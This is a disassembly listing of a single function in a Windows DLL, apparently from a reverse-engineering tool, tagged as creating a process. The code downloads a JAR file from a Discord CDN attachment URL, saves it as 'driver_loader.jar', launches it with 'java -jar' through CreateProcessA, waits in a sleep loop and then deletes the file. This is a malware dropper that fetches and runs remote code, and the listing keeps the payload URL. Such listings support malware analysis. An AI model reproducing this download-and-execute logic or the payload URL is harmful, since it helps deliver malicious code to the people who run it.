Function at 0x18001b810
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x560]
sub rsp, 0x660
mov rax, qword [0x180157b00]
xor rax, rsp
mov qword [rbp + 0x550], rax
xor r13d, r13d
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
mov r8d, 0xba
lea rdx, str.https:__cdn.discordapp.com_attachments_1182758872293834842_1273192686047854645_RZ8dhT6FGC.jar_ex66bdb897is66bc6717hm5c18f316353c71bd12add3c2dae9110888c5545ee81076fc8697ffbb740cbbfd
lea rcx, [rbp - 0x50]
call fcn.180001870
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, str.driver_loader.jar
lea rcx, [rsp + 0x70]
call fcn.180001870
nop
call fcn.18006c7f0
mov rbx, rax
test rax, rax
je 0x18001bdba
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x40]
call fcn.18010e060
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rdx, qword [rsp + 0x70]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
lea rcx, [rbp + 0x40]
call fcn.18000b610
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x40], r12
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x3c], edx
lea r8, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova r8, qword [rbp - 0x50]
mov edx, 0x2712
mov rcx, rbx
call fcn.18006f790
lea r8, [0x18000e4a0]
mov edx, 0x4e2b
mov rcx, rbx
call fcn.18006f790
lea r8, [rbp + 0x40]
mov edx, 0x2711
mov rcx, rbx
call fcn.18006f790
mov rcx, rbx
call fcn.18006c860
mov rcx, rbx
call fcn.18006c7c0
lea rcx, [rbp + 0x40]
call fcn.180010bb0
mov dword [rbp - 0x30], 0x68
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 8], xmm0
movups xmmword [rbp + 8], xmm0
movups xmmword [rbp + 0x18], xmm0
movups xmmword [rbp + 0x28], xmm0
mov dword [rbp + 0xc], 1
mov word [rbp + 0x10], r13w
mov r15, qword [rbp - 0x80]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 0xa
jb 0x18001be7a
lea r14, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova r14, qword [rsp + 0x70]
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
lea rsi, [r15 + 0xa]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rbp - 0x70]
cmp rsi, rbx
jbe 0x18001ba5b
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x18001ba1d
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1800d39c0
test rax, rax
je 0x18001be80
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x18001ba57
mov eax, socket
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x18001ba37
mov rdi, r13
jmp 0x18001ba57
cmp rcx, 0x1000
jb 0x18001ba4f
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18001be74
jmp 0x18001b9fe
call fcn.1800d39c0
mov rdi, rax
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], rbx
movsd xmm0, qword [str.java__jar]
movsd qword [rdi], xmm0
movzx ecx, word [0x180112750]
mov word [rdi + 8], cx
lea rcx, [rdi + 0xa]
mov r8, r15
mov rdx, r14
call fcn.18010d9c0
mov byte [rdi + rsi], 0
lea r8, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova r8, qword [rbp - 0x70]
mov edx, 0x400
lea rcx, [rbp + 0x150]
call fcn.1800ddf50
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x150]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x18001bd08
lea rcx, [rsp + 0x50]
call fcn.180017d70
movabs r14, 0xb2f4fc0794908cf3
movabs r15, 0x4e94914f0000
movabs r12, 0x431bde82d7b634db
mov rbx, qword [rsp + 0x50]
movabs r13, 0x7fffffffffffffff
movabs rsi, 0x4a817c800
call fcn.1800d1c50
mov rdi, rax
call fcn.1800d1c34
mov rcx, rax
cmp rdi, 0x989680
jne 0x18001bb50
imul rax, rcx, 0x64
jmp 0x18001bbbf
cmp rdi, 0x16e3600
jne 0x18001bba4
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x18001bbbf
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
sub rax, rbx
cmp rax, rsi
jge 0x18001bcd3
lea rcx, [rsp + 0x50]
call fcn.180017d70
mov rax, qword [rsp + 0x50]
movabs rcx, 0x7ffffffffa0a1eff
cmp rax, rcx
lea rsi, [rax + 0x5f5e100]
jl 0x18001bbf3
mov rsi, r13
call fcn.1800d1c50
mov rdi, rax
call fcn.1800d1c34
mov rcx, rax
cmp rdi, 0x989680
jne 0x18001bc12
imul rax, rcx, 0x64
jmp 0x18001bc81
cmp rdi, 0x16e3600
jne 0x18001bc66
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r9, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul r8, rcx, 0x3b9aca00
mov rax, r14
imul r8
add rdx, r8
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r9
jmp 0x18001bc81
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
cmp rax, rsi
jge 0x18001bb27
mov rcx, rsi
sub rcx, rax
cmp rcx, r15
jl 0x18001bca4
mov ecx, 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x18001bbf3
mov rax, r12
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x18001bcc7
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x18001bbf3
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rcx, qword [rsp + 0x70]
call fcn.1800e44e0
xor r13d, r13d
lea r12, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x18001bd43
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001bd3e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001be80
call fcn.1800d39fc
movdqa xmm0, xmmword [0x180113f30]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x40], r12
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x3c], edx
lea rcx, [rbp + 0x48]
call fcn.18000cc40
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x3c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0xe8], rax
lea rcx, [rbp + 0xe8]
call fcn.1800d2550
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x18001bdf6
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001bdf1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001be86
call fcn.1800d39fc
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x70], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x18001be3e
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001be39
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001be6e
call fcn.1800d39fc
mov rcx, qword [rbp + 0x550]
xor rcx, rsp
call fcn.1800d3b10
lea r11, [rsp + 0x660]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1800ddd74
nop
call fcn.180010170
nop
call fcn.1800104d0
int3
call fcn.1800ddd74
nop
call fcn.1800ddd74
int3